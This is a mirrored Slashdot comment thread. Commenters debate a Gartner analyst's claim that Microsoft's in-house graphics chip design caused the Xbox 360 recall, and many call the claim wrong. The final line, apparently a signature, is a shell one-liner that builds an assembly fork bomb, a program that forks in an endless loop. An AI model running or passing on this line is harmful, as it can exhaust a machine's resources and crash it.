Slashdot Mirror
The Truth About Last Year's Xbox 360 Recall
chrplace forwards an article in which Gartner's Brian Lewis offers his perspective on what led to last year's Xbox 360 recall. Lewis says it happened because Microsoft wanted to avoid an ASIC vendor. "Microsoft designed the graphic chip on its own, cut a traditional ASIC vendor out of the process, and went straight to Taiwan Semiconductor Manufacturing Co. Ltd., he explained. But in the end, by going cheap — hoping to save tens of millions of dollars in ASIC design costs, Microsoft ended up paying more than $1 billion for its Xbox 360 recall. To fix the problem, Microsoft went back to an unnamed ASIC vendor based in the United States and redesigned the chip, Lewis added. (Based on a previous report, the ASIC vendor is most likely the former ATI Technologies, now part of AMD.)"
Microsoft designed their own graphic chip and it crashed? I'm shocked... I tell you shocked!
Shaking fists at ATI, yelling: "I'll design my own chip! With blackjack! And hookers! ... In fact ..."
well, it's the difference between an MBA making a business call based on cost/profit analysis and an experienced chip designer looking at the actual risks involved....
MBAs are good in cutting corners in traditional businesses, but generally have no understanding of technology risks....
Yeah, you're right, it is strange how the stream of Microsoft bashing has slowed so much lately around here.
The cake is a pie
ATI and Microsoft developed this chip together over a period of two years. The XBOX 360 GPU has been known since conception as an ATI GPU.
Furthermore, the recall was for overheating in general which -- though unquestionably affected by the GPU -- is a more comprehensive system design failure, not just a single component. (Look at the stability success they have had simply by reducing the size of the CPU.)
I'm looking forward to "Jasper", the code name for the next XBOX 360 mother board that will include a 65 nanometer graphics chip, smaller memory chips and HOPEFULLY a price reduction.
Microsoft didn't design the GPU, ATI did, and everyone knows ATI have always been fabless. TSMC are the manufacturer of the larger of the two dice that make up the Xenos/C1 design, and while that die has been revised since for a process node change, it doesn't even appear if that new revision has been used yet (despite it being finished by ATI a long time ago).
Lewis seems to be just plain wrong, which is kind of upsetting for "chief researcher" at a firm like Gartner, especially when the correct information is freely available.
While the cooling solution for the GPU is the likely cause of most of the failures, that's not necessarily the GPU's fault, or ATI's, especially for a fault so widespread.
- 'sup, G?
Actually Goatse Troll is on topic for once! Red Ring of Death! Get it?
Make SELinux enforcing again!
I suppose if we can all agree to stay out of the other guy's yard, we can get along. You do hardware, I'll do software.
-g.
The article is COMPLETE, UTTER bullshit.
Years before the xbox360 has been released ATI was already announced as the system parter for the GPU. No "secret unnamed ASIC vendor" anywhere.
The recall, again, was thermal problems.
Do you really think a completely different GPU by a completely different company could have been designed in a year _and_ totally compatible with the original one?
HI O WISE PRINCE. WHT TOOK U SO DAM LONG?
The details are trivial and useless; The reasons, as always, purely human ones.
I am a person that designs both hardware, and software, but not chips, At the risk of talking outside of my expertise, I will have a go at answering your question.
Firstly, there are things that software people really like, but it is often better to not do them in hardware. This category contains things like Read/Write I/O registers. From a software point of view, they are nice, but they can double your gate count. They can also increase your capacitive bus loading. DAC and ADC designs can also be affected this way. A software person might use a proper ADC and expect proper ADC registered results. A hardware person might select a resistor, capacitor, a voltage comparitor, and a couple of spare I/O pins. The cheesy R/C approach may save the hardware design from a whole slew of problems including cost. A software person may opt for a synchronous logic approach with all registers clocked every clock cycle. The hardware designer may opt for a much more asynchronous approach, that minimizes the number of clocked registers. This reduces power consumption, and potentially the number of registers too. Often the hardware designer will consider thermal, cost, electrical layout issues as part of his design process. The software person will not be as familiar with how to design a good circuit board and chip design in a cost-effective manner. A good software engineer can learn all of this material with time, but the hardware engineers will do them naturally.
The second category of problems is tools. The modern chip designer is working with a fairly advanced set of tools that the software person is likely to be quite unfamiliar with. This starts with the IC design tools, which are quite specialized. It ends with the hardware engineering tools. Have you ever X-Rayed a circuit board to analyze the cracks in the Ball Grid Array where it bonds to the circuit board? Are you familiar with thermal issues, and thermal images? How about EMI test results? Modern IC package design limitations? A good team of engineers will be familiar with these tools, and know how to use them to get good results.
The third category of problems is mistakes from inexperience, or lack of experience in the correct field. I work with industrial electronics. I think from an industrial point of view. What happens when someone attaches 600 (VAC) to the ground wire of the computer? What happens to the remote sensors when the plant gets hit by lightening? In IC design, there are some known gray areas too. Does the chip reset properly on power up? Do metastable, astable, or self-oscillating states exist in the IC design? Can the chip survive with no cooling? Does the chip have an overtemp shutdown function? What happens if someone starts the chip up in sub-zero weather? Do the analog electronics have sufficient electrical separation from the digital electronics, while avoiding nasty things like ESD latchup conditions?
I've completed chip design courses before, but have never had to design a modern production gate array design. As a person that has done both software and hardware, I know that my skills are not good enough for the most modern IC design processes. My limit is FPGA work, and my preference is clever opto-isolation, power semiconductor, TTL and micro-proccessor based circuits. In analog, my expertise in analog is industrial sensing and survivability. You have to know where your field of expertise is, and what your limits are.
You can have business savvy and technological expertise, but it's a roundabout path through today's educational system if you're not teaching yourself at least one. And I think we all know the proportion of people who are capable of serious self-education.
I don't think you're getting it. Cutting costs is one thing. Cutting corners is another. Cutting costs is fine, but cutting corners implies the product is worse off because of it. Few engineers would say "It'd be cheaper to roll our own graphics chip," because they realize the immense technical challenges involved. Few MBAs are likely to understand that, however.
There's a big difference between what you just said and what the OP said. Nobody said MBAs can't be tech savvy. However, the fact of the matter is, most of them aren't.
Also, just to be pedantic, having an MBA has little to do with having business savvy.
The mistake seemed to be to let Microsoft's in house group do this rather than outsourcing.
But you've got to remember this is an article in EEtimes from an analyst with an agenda
http://www.eetimes.com/news/latest/showArticle.jhtml;jsessionid=51TYZYXYRWUZUQSNDLSCKHA?articleID=208403010
"System OEMs have no business designing ASICs any longer," said Lewis. The reality is that system companies are finding it hard to do enough ASIC designs to keep in-house design teams employed.
Basically he's trying to create business for ASIC design houses by telling people that putting a bunch of licensed IP onto a chip is rocket science and they shouldn't try to do it in house.
Is it really? I honestly don't know. I suspect it depends a lot on the quality of the in house people and the quality of the ASIC design house.
And it depends on what you're trying to do. In the embedded area lots of companies much smaller than Microsoft put an processor and a bunch of their own peripherals onto a chip and it works. I guess that console or PC graphics cores use a lot more power than that. But I don't know if "an ASIC design house" would have done a better job than Microsoft's ASIC group.
Or more to the point, maybe a $1B recall is the price you pay for learning about this stuff. Microsoft can afford it obviously and it will influence how the successor to the XBox360 is done. Whether they hire more engineers and do it in house or outsource it is a business decision it seems. I guess the in house people and the design house will both try to argue for the best option from their point of view and some manager will decide.
But if you're a cash rich company then the bias will be to try to do as much as possible in house, because that gives you more freedom to value engineer later.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;